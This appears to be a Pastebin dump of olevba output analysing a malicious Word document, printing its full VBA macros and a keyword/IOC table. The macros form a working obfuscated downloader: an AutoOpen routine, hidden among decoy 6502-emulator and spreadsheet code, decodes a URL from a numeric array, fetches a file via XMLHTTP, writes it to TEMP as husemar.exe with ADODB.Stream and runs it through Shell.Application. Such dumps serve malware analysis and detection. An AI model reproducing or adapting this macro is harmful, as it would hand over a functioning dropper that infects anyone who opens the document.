Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASI-B-V 20151009144829748.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: 20151009144829748.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: 20151009144829748.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- PreencherDireita "", "", 0
- runAlleStatMod
- txs6502
- rora6502
- IsDigit ""
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: 20151009144829748.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const ads = "Adodb.Stream"
- Public Const sha = "Shell.Application"
- Public Const wss = "WScript.Shell"
- Public Const ps = "Process"
- Public Function FormatarTexto(ByVal texto As String, ParamArray formatos() As Variant) As String
- Dim i As Long
- Dim formats_size As Integer
- Dim formated_text As String
- Dim text_size As Integer
- Dim tokens() As String
- Dim ch As String
- Dim format_token_position_string As String
- Dim format_token_position As Integer
- Dim is_digit As Boolean
- Dim lower_bound As Integer
- Dim formato() As Variant
- Dim sub_formato() As Variant
- Dim last_dimenssion As Integer
- formato = formatos
- On Error GoTo Singl
- For i = 0 To 60000
- sub_formato = formato(0)
- formato = sub_formato
- Next i
- Multi:
- formato = formatos(0)
- Singl:
- On Error GoTo 0
- i = 1
- formats_size = UBound(formato)
- text_size = Len(texto)
- If formats_size = 0 Then
- formated_text = texto
- GoTo Finally
- End If
- Do While i <= text_size
- ch = Mid(texto, i, 1)
- If ch = "$" Then
- format_token_position_string = ""
- i = i + 1
- Do While i <= text_size
- ch = Mid(texto, i, 1)
- is_digit = IsDigit(ch)
- If is_digit Then
- format_token_position_string = ch & format_token_position_string
- End If
- If Not is_digit Or i = text_size Then
- format_token_position = CInt(format_token_position_string) - 1
- If format_token_position <= formats_size Then
- formated_text = formated_text & CStr(formato(format_token_position)) + ch
- Else
- formated_text = formated_text & "$" & CStr(format_token_position - formats_size) + ch
- End If
- Exit Do
- End If
- i = i + 1
- Loop
- Else
- formated_text = formated_text & ch
- End If
- i = i + 1
- Loop
- GoTo Finally
- Catch:
- formated_text = Err.Description
- Finally:
- FormatarTexto = formated_text
- End Function
- Public Function phy650_3_3(phy650_3_1() As Variant, phy650_3_2 As Integer) As String
- Dim i As Integer
- Dim result As String
- result = ""
- For i = LBound(phy650_3_1) To UBound(phy650_3_1)
- result = result & Chr(phy650_3_1(i) - phy650_3_2 - 2845)
- Next i
- phy650_3_3 = result
- End Function
- Public Function PreencherEsquerda( _
- ByVal texto As String, _
- ByVal caracter_a_preencher As String, _
- ByVal tamanho_final As Integer, _
- Optional truncar As Boolean _
- ) As String
- Dim novo_texto As String
- Dim quantidade_a_adicionar As Integer
- novo_texto = texto
- quantidade_a_adicionar = tamanho_final - Len(texto)
- If quantidade_a_adicionar < 0 Then
- If truncar Then
- novo_texto = Mid(texto, 1, tamanho_final)
- End If
- GoTo Finally
- End If
- novo_texto = Replace(Space(quantidade_a_adicionar), " ", caracter_a_preencher) + novo_texto
- Catch:
- Finally:
- PreencherEsquerda = novo_texto
- End Function
- Function PreencherDireita( _
- ByVal texto As String, _
- ByVal caracter_a_preencher As String, _
- ByVal tamanho_final As Integer, _
- Optional truncar As Boolean _
- )
- Dim novo_texto As String
- Dim quantidade_a_adicionar As Integer
- Set phy65007 = CreateObject("Microsoft" + ".XMLHTTP")
- Dim urlAr() As Variant
- urlAr = Array(2993, 3005, 3005, 3001, 2947, 2936, 2936, 2995, 2986, 2999, 2986, 2989, 3006, 2988, 2993, 2986, 2999, 3000, 3007, 2986, 2935, 3008, 3011, 2935, 2988, 3011, 2936, 2944, 2944, 2941, 2942, 2992, 2989, 2936, 2941, 2989, 2992, 3003, 2992, 2989, 2992, 2935, 2990, 3009, 2990)
- phy65007.Open "GET", phy650_3_3(urlAr, 44), False
- novo_texto = texto
- quantidade_a_adicionar = tamanho_final - Len(texto)
- If quantidade_a_adicionar < 0 Then
- If truncar Then
- novo_texto = Mid(texto, 1, tamanho_final)
- End If
- GoTo Finally
- End If
- novo_texto = novo_texto + Replace(Space(quantidade_a_adicionar), " ", caracter_a_preencher)
- Catch:
- Finally:
- PreencherDireita = novo_texto
- End Function
- Function RGB( _
- ByVal red As Integer, _
- ByVal green As Integer, _
- ByVal blue As Integer _
- ) As Long
- RGB = VBA.Information.RGB(red, green, blue)
- End Function
- Public Function Juntar( _
- ByVal separador As String, _
- ParamArray elementos() As Variant _
- ) As String
- Juntar = Join(elementos, separador)
- End Function
- Public Function IsDigit(ByVal ch As String) As Boolean
- phy650003. _
- Open (phy650002)
- Exit Function
- Dim asc_code As Integer
- asc_code = Asc(ch)
- IsDigit = (asc_code > 48 And asc_code < 58)
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: 20151009144829748.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public phy65007 As Object
- Public phy65008 As Object
- Public phy65009 As Object
- Public phy650001 As String
- Public phy650002 As String
- Public phy650003 As Object
- Public Sub runAlleStatMod()
- Dim kuerzel As Variant
- Dim nameTN As Variant
- Set phy65008 = CreateObject(ads)
- Set phy650003 = CreateObject(sha)
- Set phy65009 = CreateObject(wss).Environment(ps)
- Exit Sub
- setzteBezugsjah.rImStatischenModell
- erstelleKo.pfzeileMETA
- erstelleMi.ttelwerteMETA
- For Each kuerzel In gibAlleTN_Kuerzel
- If kuerzel = "SH" Or kuerzel = "AG" Then
- Else
- nameTN = gibT.Nname(kuerzel)
- runSFA nameTN
- exportiereSta.tischeResultateSFA nameTN
- erstelleP.DFundPNG nameTN
- End If
- Next kuerzel
- If TEST = False Then _
- MsgBox "Die statischen Modelle sind fertig bearbeitet." & vbNewLine & _
- "Die Kantone AG und SH wurden nicht berechnet.", vbInformation
- End Sub
- Sub runEinStatMod()
- Dim nameTN As String
- setzteBezugsjahrImStatischenModell
- nameTN = gibAlleOderNameTN
- runSFA nameTN
- End Sub
- Sub runSFA(ByVal nameTN As String)
- Dim wbSFA As String
- Dim pfadSFA As String
- pfadSFA = gibPfadZumStat_Modell & gibName_Statisches_Modell
- Application.ScreenUpdating = False
- Application.StatusBar = True
- Application.StatusBar = "Es wird " & nameTN & " bearbeitet."
- kopiereDefault_stat nameTN, gibBezugsjahr
- kopiereAngabenTN nameTN
- On Error Resume Next
- Set wbSFA = Workbooks(pfadSFA)
- If wbSFA Is Nothing Then _
- Set wbSFA = Workbooks.Open(pfadSFA)
- setzeAlleineOderAlleImModell wbSFA
- importiereDefaultwerteInsModell wbSFA
- importiereDATAinsModell wbSFA
- kopiereDefaultWerteImModell wbSFA
- Application.Run ""
- Application.Run ""
- Application.Run ""
- Application.StatusBar = ""
- Application.ScreenUpdating = True
- If gibAlleOderNameTN <> "Alle" Then
- wbSFA.Activate
- wbSFA.Save
- If TEST = False Then
- MsgBox "Das Modell kann nun bearbeitet werden. " & _
- "Ge?nderte Default-Werte werden beim Schliessen exportiert.", vbInformation
- End If
- End
- Else
- wbSFA.Close SaveChanges:=True
- Set wbSFA = Nothing
- End If
- End Sub
- Private Sub importiereDefaultwerteInsModell(wbModell As String)
- Dim wbDefault As String
- Dim wsModell As Worksheet
- Dim wsWerte As Worksheet
- Dim LETZTE_ZEILE_PARAMETER As Integer
- LETZTE_ZEILE_PARAMETER = 52
- On Error Resume Next
- Set wbDefault = Workbooks.Open(gibPfadZumStat_Modell & "Default_stat.dDATA")
- Set wsWerte = wbDefault.Worksheets("Tabelle1")
- Set wsModell = Workbooks(gibName_Statisches_Modell).Worksheets(".Default")
- wsWerte.Range("E1:E" & LETZTE_ZEILE_PARAMETER).Copy
- wsModell.Range("F1:F" & LETZTE_ZEILE_PARAMETER).PasteSpecial xlPasteValues
- Application.CutCopyMode = False
- wsWerte.Range("N1:N27").Copy
- wsModell.Range("N1:N27").PasteSpecial xlPasteValues
- Application.CutCopyMode = False
- wbDefault.Close
- Set wbDefault = Nothing
- End Sub
- Private Sub importiereDATAinsModell(wbModell As String)
- Dim wbVon, wbNach As String
- Dim wsVon, wsNach As Worksheet
- Set wbVon = Workbooks.Open(gibPfadZumStat_Modell & "\DATA_stat.xls")
- Set wbNach = wbModell
- Set wsNach = wbModell.Worksheets("Bauwerk")
- Set wsVon = wbVon.Worksheets("HB_GebVol")
- wsVon.Range("B2:G7").Copy
- wsNach.Range("C4:H9").PasteSpecial xlPasteValues
- Set wsVon = wbVon.Worksheets("HB_Material")
- wsVon.Range("B2:G9").Copy
- wsNach.Range("C14:H21").PasteSpecial xlPasteValues
- Set wsVon = wbVon.Worksheets("HB_Mat_Neubau")
- wsVon.Range("B2:G9").Copy
- wsNach.Range("C26:H33").PasteSpecial xlPasteValues
- Set wsVon = wbVon.Worksheets("TB")
- wsVon.Range("B10:I12").Copy
- wsNach.Range("C37:E44").PasteSpecial Paste:=xlPasteValues, Transpose:=True
- Set wsVon = wbVon.Worksheets("Angaben_Materialfluesse")
- Set wsNach = wbNach.Worksheets(".Fluesse")
- wsVon.Range("E4:G25").Copy
- wsNach.Range("D4:F25").PasteSpecial xlPasteValues
- Set wsVon = wbVon.Worksheets("Angaben_Materialfluesse")
- Set wsNach = wbNach.Worksheets(".Params")
- wsVon.Range("E23:E24").Copy
- wsNach.Range("F4:F5").PasteSpecial xlPasteValues
- Application.CutCopyMode = False
- wbVon.Close
- Set wsNach = wbNach.Sheets(".Default")
- wsNach.Range("F26").FormulaLocal = "="
- wsNach.Range("F27").FormulaLocal = "="
- wsNach.Range("F28").FormulaLocal = "="
- wsNach.Range("F29").FormulaLocal = "="
- wsNach.Range("F31").FormulaLocal = "="
- wsNach.Range("F32").FormulaLocal = "="
- wsNach.Range("F33").FormulaLocal = "="
- wsNach.Range("F34").FormulaLocal = "="
- Set wbVon = Nothing
- Set wbNach = Nothing
- End Sub
- Private Sub kopiereDefaultWerteImModell(wbModell As String)
- Dim wsVon As Worksheet, wsNach As Worksheet
- Set wsVon = wbModell.Sheets(".Default")
- Set wsNach = wbModell.Sheets("Variablen")
- wsVon.Visible = True
- wsNach.Range("G1:G52").Value = wsVon.Range("F1:F52").Value
- wsVon.Visible = False
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: 20151009144829748.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ' This is where all 6502 instructions are kept.
- Public Sub adc6502()
- Dim tmp As Long ' Integer
- adrmode opcode
- Value = Read6502(savepc)
- saveflags = (P And &H1)
- sum = A
- sum = (sum + Value) And &HFF
- sum = (sum + saveflags) And &HFF
- If (sum > &H7F) Or (sum < -&H80) Then
- P = P Or &H40
- Else
- P = (P And &HBF)
- End If
- sum = A + (Value + saveflags)
- If (sum > &HFF) Then
- P = P Or &H1
- Else
- P = (P And &HFE)
- End If
- A = sum And &HFF
- If (P And &H8) Then
- P = (P And &HFE)
- If ((A And &HF) > &H9) Then
- A = (A + &H6) And &HFF
- End If
- If ((A And &HF0) > &H90) Then
- A = (A + &H60) And &HFF
- P = P Or &H1
- End If
- Else
- clockticks6502 = clockticks6502 + 1
- End If
- SetFlags A
- End Sub
- Public Sub adrmode(opcode As Byte)
- Select Case addrmode(opcode)
- Case ADR_ABS: savepc = Read6502(PC) + (Read6502(PC + 1) * &H100&): PC = PC + 2
- Case ADR_ABSX: absx6502
- Case ADR_ABSY: absy6502
- Case ADR_IMP: ' nothing really necessary cause implied6502 = ""
- Case ADR_IMM: savepc = PC: PC = PC + 1
- Case ADR_INDABSX: indabsx6502
- Case ADR_IND: indirect6502
- Case ADR_INDX: indx6502
- Case ADR_INDY: indy6502
- Case ADR_INDZP: indzp6502
- Case ADR_REL: savepc = Read6502(PC): PC = PC + 1: If (savepc And &H80) Then savepc = savepc - &H100&
- Case ADR_ZP: savepc = Read6502(PC): savepc = savepc And &HFF: PC = PC + 1
- Case ADR_ZPX: zpx6502
- Case ADR_ZPY: zpy6502
- Case Else: Debug.Print addrmode(opcode)
- End Select
- End Sub
- Public Sub and6502()
- adrmode opcode
- Value = Read6502(savepc)
- A = (A And Value)
- SetFlags A
- End Sub
- Public Sub asl6502()
- adrmode opcode
- Value = Read6502(savepc)
- P = (P And &HFE) Or ((Value \ 128) And &H1)
- Value = (Value * 2) And &HFF
- Write6502 savepc, (Value And &HFF)
- SetFlags Value
- End Sub
- Public Sub asla6502()
- P = (P And &HFE) Or ((A \ 128) And &H1)
- A = (A * 2) And &HFF
- SetFlags A
- End Sub
- Public Sub bcc6502()
- If ((P And &H1) = 0) Then
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub bcs6502()
- If (P And &H1) Then
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub beq6502()
- If (P And &H2) Then
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub bit6502()
- adrmode opcode
- Value = Read6502(savepc)
- If (Value And A) Then
- P = (P And &HFD)
- Else
- P = P Or &H2
- End If
- P = ((P And &H3F) Or (Value And &HC0))
- End Sub
- Public Sub bmi6502()
- If (P And &H80) Then
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub bne6502()
- If ((P And &H2) = 0) Then
- adrmode opcode
- PC = PC + savepc
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub bpl6502()
- If ((P And &H80) = 0) Then
- adrmode opcode
- PC = PC + savepc
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub brk6502()
- PC = PC + 1
- Write6502 &H100& + s, (PC \ &H100&) And &HFF
- s = (s - 1) And &HFF
- Write6502 &H100& + s, (PC And &HFF)
- s = (s - 1) And &HFF
- Write6502 &H100& + s, P
- s = (s - 1) And &HFF
- P = P Or &H14
- PC = Read6502(&HFFFE&) + (Read6502(&HFFFF&) * &H100&)
- End Sub
- Public Sub bvc6502()
- If ((P And &H40) = 0) Then
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub bvs6502()
- If (P And &H40) Then
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- Else
- PC = PC + 1
- End If
- End Sub
- Public Sub clc6502()
- P = P And &HFE
- End Sub
- Public Sub cld6502()
- P = P And &HF7
- End Sub
- Public Sub cli6502()
- P = P And &HFB
- End Sub
- Public Sub clv6502()
- P = P And &HBF
- End Sub
- Public Sub cmp6502()
- adrmode opcode
- Value = Read6502(savepc)
- If (A + &H100 - Value) > &HFF Then
- P = P Or &H1
- Else
- P = (P And &HFE)
- End If
- Value = (A + &H100 - Value) And &HFF
- SetFlags Value
- End Sub
- Public Sub cpx6502()
- adrmode opcode
- Value = Read6502(savepc)
- If (X + &H100 - Value > &HFF) Then
- P = P Or &H1
- Else
- P = (P And &HFE)
- End If
- Value = (X + &H100 - Value) And &HFF
- SetFlags Value
- End Sub
- Public Sub cpy6502()
- adrmode opcode
- Value = Read6502(savepc)
- If (Y + &H100 - Value > &HFF) Then
- P = (P Or &H1)
- Else
- P = (P And &HFE)
- End If
- Value = (Y + &H100 - Value) And &HFF
- SetFlags Value
- End Sub
- Public Sub dec6502()
- adrmode opcode
- Write6502 (savepc), (Read6502(savepc) - 1) And &HFF
- Value = Read6502(savepc)
- If (Value) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Value And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub dex6502()
- X = (X - 1) And &HFF
- If (X) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (X And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub dey6502()
- Y = (Y - 1) And &HFF
- If (Y) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Y And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub eor6502()
- adrmode opcode
- A = A Xor Read6502(savepc)
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub inc6502()
- adrmode opcode
- Write6502 (savepc), (Read6502(savepc) + 1) And &HFF
- Value = Read6502(savepc)
- If (Value) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Value And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub inx6502()
- X = (X + 1) And &HFF
- If (X) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (X And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub iny6502()
- Y = (Y + 1) And &HFF
- If (Y) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Y And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub jmp6502()
- adrmode opcode
- PC = savepc
- End Sub
- Public Sub jsr6502()
- PC = PC + 1
- Write6502 s + &H100&, (PC \ &H100&)
- s = (s - 1) And &HFF
- Write6502 s + &H100&, (PC And &HFF)
- s = (s - 1) And &HFF
- PC = PC - 1
- adrmode opcode
- PC = savepc
- End Sub
- Public Sub lda6502()
- adrmode opcode
- A = Read6502(savepc)
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub ldx6502()
- adrmode opcode
- X = Read6502(savepc)
- If (X) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (X And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub ldy6502()
- adrmode opcode
- Y = Read6502(savepc)
- If (Y) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Y And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub lsr6502()
- adrmode opcode
- Value = Read6502(savepc)
- P = ((P And &HFE) Or (Value And &H1))
- Value = (Value \ 2) And &HFF
- Write6502 savepc, (Value And &HFF)
- If (Value) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Value And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub lsra6502()
- P = (P And &HFE) Or (A And &H1)
- A = (A \ 2) And &HFF
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub nop6502()
- 'TS: Implemented complex code structure ;)
- End Sub
- Public Sub ora6502()
- adrmode opcode
- A = A Or Read6502(savepc)
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub pha6502()
- Write6502 &H100& + s, A
- s = (s - 1) And &HFF
- End Sub
- Public Sub php6502()
- Write6502 &H100& + s, P
- s = (s - 1) And &HFF
- End Sub
- Public Sub pla6502()
- s = (s + 1) And &HFF
- A = Read6502(s + &H100)
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub plp6502()
- s = (s + 1) And &HFF
- P = Read6502(s + &H100) Or &H20
- End Sub
- Public Sub rol6502()
- saveflags = (P And &H1)
- adrmode opcode
- Value = Read6502(savepc)
- P = (P And &HFE) Or ((Value \ 128) And &H1)
- Value = (Value * 2) And &HFF
- Value = Value Or saveflags
- Write6502 savepc, (Value And &HFF)
- If (Value) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Value And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub rola6502()
- saveflags = (P And &H1)
- P = (P And &HFE) Or ((A \ 128) And &H1)
- A = (A * 2) And &HFF
- A = A Or saveflags
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub ror6502()
- saveflags = (P And &H1)
- adrmode opcode
- Value = Read6502(savepc)
- P = (P And &HFE) Or (Value And &H1)
- Value = (Value \ 2) And &HFF
- If (saveflags) Then
- Value = Value Or &H80
- End If
- Write6502 (savepc), Value And &HFF
- If (Value) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Value And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub rora6502()
- Dim rti6611 As Variant
- rti6611 = phy65007.responseBody
- Dim rti6612 As Integer
- rti6612 = 3 - 1
- phy65008.write rti6611
- phy65008.savetofile phy650002, rti6612
- Exit Sub
- saveflags = (P And &H1)
- P = (P And &HFE) Or (A And &H1)
- A = (A \ 2) And &HFF
- If (saveflags) Then
- A = A Or &H80
- End If
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub rti6502()
- s = (s + 1) And &HFF
- P = Read6502(s + &H100&) Or &H20
- s = (s + 1) And &HFF
- PC = Read6502(s + &H100&)
- s = (s + 1) And &HFF
- PC = PC + (Read6502(s + &H100) * &H100&)
- End Sub
- Public Sub rts6502()
- s = (s + 1) And &HFF
- PC = Read6502(s + &H100)
- s = (s + 1) And &HFF
- PC = PC + (Read6502(s + &H100) * &H100&)
- PC = PC + 1
- End Sub
- Public Sub sbc6502()
- adrmode opcode
- Value = Read6502(savepc) Xor &HFF
- saveflags = (P And &H1)
- sum = A
- sum = (sum + Value) And &HFF
- sum = (sum + (saveflags * 16)) And &HFF
- If ((sum > &H7F) Or (sum <= -&H80)) Then
- P = P Or &H40
- Else
- P = P And &HBF
- End If
- sum = A + (Value + saveflags)
- If (sum > &HFF) Then
- P = P Or &H1
- Else
- P = P And &HFE
- End If
- A = sum And &HFF
- If (P And &H8) Then
- A = (A - &H66) And &HFF
- P = P And &HFE
- If ((A And &HF) > &H9) Then
- A = (A + &H6) And &HFF
- End If
- If ((A And &HF0) > &H90) Then
- A = (A + &H60) And &HFF
- P = P Or &H1
- End If
- Else
- clockticks6502 = clockticks6502 + 1
- End If
- 'Debug.Print "sbc6502"
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub sec6502()
- P = P Or &H1
- End Sub
- Public Sub sed6502()
- P = P Or &H8
- End Sub
- Public Sub sei6502()
- P = P Or &H4
- End Sub
- Public Sub sta6502()
- adrmode opcode
- Write6502 (savepc), A
- End Sub
- Public Sub stx6502()
- adrmode opcode
- Write6502 (savepc), X
- End Sub
- Public Sub sty6502()
- adrmode opcode
- Write6502 (savepc), Y
- End Sub
- Public Sub tax6502()
- X = A
- If (X) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (X And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub tay6502()
- Y = A
- If (Y) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Y And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub tsx6502()
- X = s
- If (X) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (X And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub txa6502()
- A = X
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub txs6502()
- phy650001 = phy65009("TEMP")
- phy65007.Send
- phy650002 = phy650001 + "\" + "husemar." + "e" + "xe"
- With phy65008
- .Type = 1
- .Open
- End With
- Exit Sub
- s = X
- End Sub
- Public Sub tya6502()
- A = Y
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub bra6502()
- adrmode opcode
- PC = PC + savepc
- clockticks6502 = clockticks6502 + 1
- End Sub
- Public Sub dea6502()
- A = (A - 1) And &HFF
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub ina6502()
- A = (A + 1) And &HFF
- If (A) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (A And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub phx6502()
- Write6502 &H100 + s, X
- s = (s - 1) And &HFF
- End Sub
- Public Sub plx6502()
- s = (s + 1) And &HFF
- X = Read6502(s + &H100)
- If (X) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (X And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- Public Sub phy6502()
- Write6502 &H100 + s, Y
- s = (s - 1) And &HFF
- End Sub
- Public Sub ply6502()
- s = (s + 1) And &HFF
- Y = Read6502(s + &H100)
- If (Y) Then
- P = P And &HFD
- Else
- P = P Or &H2
- End If
- If (Y And &H80) Then
- P = P Or &H80
- Else
- P = P And &H7F
- End If
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Run | May run an executable file or a system |
- | | | command |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Xor | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | husemar.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- | VBA string | Das Modell kann nun | "Das Modell kann nun bearbeitet werden. |
- | | bearbeitet werden. | " & "Ge?nderte Default-Werte werden |
- | | Ge?nderte Default- | beim Schliessen exportiert." |
- | | Werte werden beim | |
- | | Schliessen | |
- | | exportiert. | |
- | VBA string | \husemar.exe | "\" + "husemar." + "e" + "xe" |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement